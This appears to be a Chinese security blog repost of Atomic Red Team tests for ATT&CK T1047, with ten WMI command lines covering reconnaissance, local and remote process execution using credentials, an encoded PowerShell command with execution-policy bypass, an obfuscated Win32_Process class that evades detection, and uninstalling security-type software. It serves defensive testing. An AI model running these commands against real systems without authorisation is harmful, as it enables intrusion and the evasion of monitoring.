T1047-Windows管理规范(WMI)

admin 2025年4月15日08:47:19评论1 views字数 6407阅读21分21秒阅读模式
Atomic Red Team™是一个映射到MITRE ATT&CK®框架的测试库。安全团队可以使用Atomic Red Team快速、可移植和可重复地测试他们的环境。

本文章为Atomic Red Team系列文章,本篇文章内容为T1047-WMI(Windows管理规范)。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。

重要声明 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。

T1047-Windows管理规范

来自ATT&CK的描述

攻击者可能会滥用Windows管理规范(WMI)来执行恶意命令和有效载荷。WMI是为程序员设计的,是Windows系统上管理数据和操作的基础架构(引用:WMI 1 - 3)。WMI是一项管理功能,它提供了一个统一的环境来访问Windows系统组件。

WMI服务支持本地和远程访问,不过远程访问是通过诸如分布式组件对象模型(在新标签页中打开)和Windows远程管理(在新标签页中打开)等远程服务来实现的(引用:WMI 1 - 3)。通过DCOM进行的远程WMI使用端口135进行操作,而通过WinRM进行的WMI在使用HTTP时使用端口5985,使用HTTPS时使用端口5986(引用:WMI 1 - 3)(引用:Mandiant WMI)。

攻击者可以使用WMI与本地和远程系统进行交互,并将其作为执行各种行为的一种手段,例如为了发现目的收集信息,以及执行命令和有效载荷(引用:Mandiant WMI)。例如,攻击者可能会滥用wmic.exe,使用命令wmic.exe Shadowcopy Delete来删除卷影副本(即阻止系统恢复,在新标签页中打开)(引用:WMI 6)。

注意:自2024年1月起,wmic.exe已被弃用,在Windows 11及更高版本上,WMIC功能 “默认禁用”。WMIC将在后续的Windows版本中被移除,并将由PowerShell(在新标签页中打开)取代,成为主要的WMI接口(引用:WMI 7,8)。除了PowerShell和诸如wbemtool.exe等工具外,COM API也可用于通过C++、.NET、VBScript等以编程方式与WMI进行交互(引用:WMI 7,8)。

原子测试

  • 原子测试 #1 - WMI侦察用户信息
  • 原子测试 #2 - WMI侦察进程信息
  • 原子测试 #3 - WMI侦察软件信息
  • 原子测试 #4 - WMI侦察列出远程服务
  • 原子测试 #5 - WMI执行本地进程
  • 原子测试 #6 - WMI执行远程进程
  • 原子测试 #7 - 使用WMI查询和编码命令创建进程
  • 原子测试 #8 - 使用混淆的Win32_Process创建进程
  • 原子测试 #9 - WMI执行rundll32
  • 原子测试 #10 - 使用WMIC卸载应用程序

01

WMI侦察用户信息

原子测试 #1 - WMI侦察用户信息

攻击者可能会使用WMI列出所有本地用户账户。测试完成后,命令行上应该会显示本地用户账户信息。

支持的平台:Windows 

自动生成的GUID:c107778c - dcf5 - 47c5 - af2e - 1d058a3df3ea 

攻击命令:使用command_prompt运行!

wmic useraccount get /ALL /format:csv

02

WMI侦察进程信息

攻击者可能会使用WMI列出受感染主机上正在运行的进程。测试完成后,命令行上应该会列出正在运行的进程。 

支持的平台:Windows 

自动生成的GUID:5750aa16 - 0e59 - 4410 - 8b9a - 8a47ca2788e2 

攻击命令:使用command_prompt运行!

wmic process get caption,executablepath,commandline /format:csv

03

WMI侦察软件信息

攻击者可能会使用WMI列出已安装软件的热修复程序和补丁。测试完成后,应该会有一个已安装补丁及其安装时间的列表。

支持的平台:Windows

自动生成的GUID:718aebaa - d0e0 - 471a - 8241 - c5afa69c7414

攻击命令:使用command_prompt运行!

wmic qfe get description,installedOn /format:csv

04

WMI侦察列出远程服务

攻击者可能会使用WMI检查某个远程服务是否在远程设备上运行。测试完成后,如果服务存在,其信息将显示在屏幕上。如果查询的服务未运行,常见的反馈消息是 “No instance(s) Available”(无可用实例)。如果提供的远程主机无法访问,常见的错误消息是 “Node - (提供的IP或默认值) ERROR Description = The RPC server is unavailable”(节点 - (提供的IP或默认值)错误描述 = RPC服务器不可用)。

支持的平台:Windows

自动生成的GUID:0fd48ef7 - d890 - 4e93 - a533 - f7dedd5191d3

输入参数

名称
描述
类型
默认值
node
IP地址
字符串
127.0.0.1
service_search_string
服务名称
字符串
Spooler

攻击命令:使用command_prompt运行!

wmic /node:"#{node}" service where (caption like "%#{service_search_string}%")

05

WMI执行本地程序

此测试使用wmic.exe在本地主机上执行一个进程。测试完成后,将在本地启动一个新进程。如果输入保持默认值,将启动一个记事本应用程序。

支持的平台:Windows

自动生成的GUID:b3bdfc91 - b33e - 4c6d - a5c8 - d64bee0276b3

输入参数

名称
描述
类型
默认值
process_to_execute
要执行的进程名称或路径
字符串
notepad.exe

攻击命令:使用command_prompt运行!

wmic process call create #{process_to_execute}

清理命令

wmic process where name='#{process_to_execute}' delete >nul 2>&1

06

WMI执行远程进程

此测试使用wmic.exe在远程主机上执行一个进程。使用node参数指定一个有效的远程IP值。要进行清理,请提供与运行测试时相同的node输入。如果默认或提供的IP无法访问,常见的错误消息是 “Node - (提供的IP或默认值) ERROR Description = The RPC server is unavailable”(节点 - (提供的IP或默认值)错误描述 = RPC服务器不可用)。 支持的平台:Windows

自动生成的GUID:9c8ef159 - c666 - 472f - 9874 - 90c8d60d136b

输入参数

名称
描述
类型
默认值
node
IP地址
字符串
127.0.0.1
user_name
用户名
字符串
DOMAINAdministrator
password
密码
字符串
P@ssw0rd1
process_to_execute
要执行的进程名称或路径
字符串
notepad.exe

攻击命令:使用command_prompt运行!

wmic /user:#{user_name} /password:#{password} /node:"#{node}" process call create #{process_to_execute}

清理命令

wmic /user:#{user_name} /password:#{password} /node:"#{node}" process where name='#{process_to_execute}' delete >nul 2>&1

07

使用WMI查询和编码命令创建进程

Solarigate持久化是通过各种技术部署的后门实现的,包括使用带有EncodedCommandPowerShell:Powershell -nop -exec bypass -EncodedCommand,其中EncodedCommand一旦解码,将类似于:Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:windowsidmucommonypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION。此原子测试中的EncodedCommand如下:Invoke-WmiMethod -Path win32_process -Name create -ArgumentList notepad.exe。执行此测试后,你应该会看到notepad.exe正在运行。来自微软的Solarigate分析

支持的平台:Windows

自动生成的GUID:7db7a7f9 - 9531 - 4840 - 9b30 - 46220135441c

攻击命令:使用command_prompt运行!

powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA

08

使用混淆的Win32_Process创建进程

此测试试图通过创建一个继承自Win32_Process的新类来掩盖进程创建行为。对Win32_Process::Create等可疑方法的间接调用可能会破坏检测逻辑。[Cybereason博客文章《无需Win32_Process》(在新标签页中打开)]

支持的平台:Windows

自动生成的GUID:10447c83 - fc38 - 462a - a936 - 5102363b1c43

输入参数

名称
描述
类型
默认值
new_class
派生类名称
字符串
Win32_Atomic
process_to_execute
要执行的进程名称或路径
字符串
notepad.exe

攻击命令:使用powershell运行!需要提升权限(例如root或管理员权限)

$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath("Win32_Process"))$NewClass = $Class.Derive("#{new_class}")$NewClass.Put()Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}

清理命令

$CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath("#{new_class}"))try { $CleanupClass.Delete() } catch {}

09

WMI执行rundll32

此测试使用wmic.exe通过rundll32执行一个DLL函数。使用node参数指定一个有效的远程IP值。

支持的平台:Windows

自动生成的GUID:00738d2a - 4651 - 4d76 - adf2 - c43a41dfb243

输入参数

名称
描述
类型
默认值
node
IP地址
字符串
127.0.0.1
dll_to_execute
DLL的路径
字符串
PathToAtomicsFolder..ExternalPayloadscalc.dll
function_to_execute
要调用的DLL函数名称
字符串
StartW

攻击命令:使用command_prompt运行!

wmic /node:#{node} process call create "rundll32.exe "#{dll_to_execute}" #{function_to_execute}"

清理命令

taskkill /f /im calculator.exe
  • 依赖项:使用powershell运行!

  • 描述:必须在指定位置(#{dll_to_execute})的磁盘上存在要执行函数的DLL。

  • 检查先决条件命令

if (Test-Path "#{dll_to_execute}") {exit 0else {exit 1}
  • 获取先决条件命令:
New-Item -Type Directory "PathToAtomicsFolder..ExternalPayloads" -ErrorAction Ignore -Force | Out-NullInvoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true" -OutFile "#{dll_to_execute}"

10

使用WMIC卸载应用程序

模拟使用WMIC卸载应用程序。此方法仅在产品是使用msi文件安装时才有效。已发现高级持续威胁(APT)使用此方法来卸载安全产品。 支持的平台:Windows

自动生成的GUID:c510d25b - 1667 - 467d - 8331 - a56d3e9bc4ff

输入参数

名称
描述
类型
默认值
node
执行操作所针对的计算机,但默认为本地主机
字符串
127.0.0.1
product
输入要卸载的产品名称。默认为TightVNC
字符串
Tightvnc

攻击命令:使用command_prompt运行!需要提升权限(例如root或管理员权限)

wmic /node:"#{node}" product where "name like '#{product}%%'" call uninstall

清理命令

msiexec /i "PathToAtomicsFolder..ExternalPayloadstightvncinstaller.msi" /qn /norestart
  • 依赖项:使用powershell运行!

  • 描述:必须安装TightVNC。

  • 检查先决条件命令

if ((Test-Path "C:Program FilesTightVNCtvnviewer.exe")-Or (Test-Path "C:Program Files (x86)TightVNCtvnviewer.exe")) {exit 0else {exit 1}
  • 获取先决条件命令:
Invoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-setup-64bit.msi' -OutFile "PathToAtomicsFolder..ExternalPayloadstightvncinstaller.msi"start-sleep -s 10msiexec /i "PathToAtomicsFolder..ExternalPayloadstightvncinstaller.msi" /qn /norestartstart-sleep -s 15

原文始发于微信公众号(网空安全手札):T1047-Windows管理规范(WMI)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月15日08:47:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   T1047-Windows管理规范(WMI)https://cn-sec.com/archives/3956795.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息